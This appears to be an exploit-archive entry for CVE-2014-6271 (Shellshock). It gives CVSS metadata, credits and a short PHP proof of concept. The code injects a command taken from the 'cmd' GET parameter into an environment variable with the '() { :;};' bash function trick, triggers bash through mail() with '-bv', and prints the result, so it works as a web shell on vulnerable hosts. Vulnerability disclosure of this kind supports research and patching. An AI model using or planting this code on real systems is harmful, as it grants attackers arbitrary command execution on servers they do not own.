PHP 5.x / Bash Shellshock Proof Of Concept

2014.11.26

Credit: ssbostan

Risk: High

Local: Yes

Remote: No

CVE: CVE-2014-6271

CWE: CWE-78

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

<?php

// Exploit Title: PHP 5.x and GNU Bash <= 4.3 Shellshock Exploit
// Date: 22/11/2014
// Exploit Author: ssbostan
// Vendor Homepage: http://www.gnu.org/software/bash/
// Software Link: http://ftp.gnu.org/gnu/bash/
// Version: <= 4.3
// Tested on: Fedora 17, Ubuntu 8.04
// CVE: http://www.cvedetails.com/cve/CVE-2014-6271/

if(isset($_GET["cmd"]) && !empty($_GET["cmd"]))
{
	$file=tempnam("/tmp", "xpl");
	putenv("PHP_XPL=() { :;}; {$_GET["cmd"]}>{$file}");
	mail("xpl@localhost", "", "", "", "-bv");
	echo file_get_contents($file);
	unlink($file);
}

?>

References:

http://www.gnu.org/software/bash/

https://www.rdot.org/forum/showthread.php?t=3308

See this note in RAW Version

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PHP 5.x / Bash Shellshock Proof Of Concept

References:

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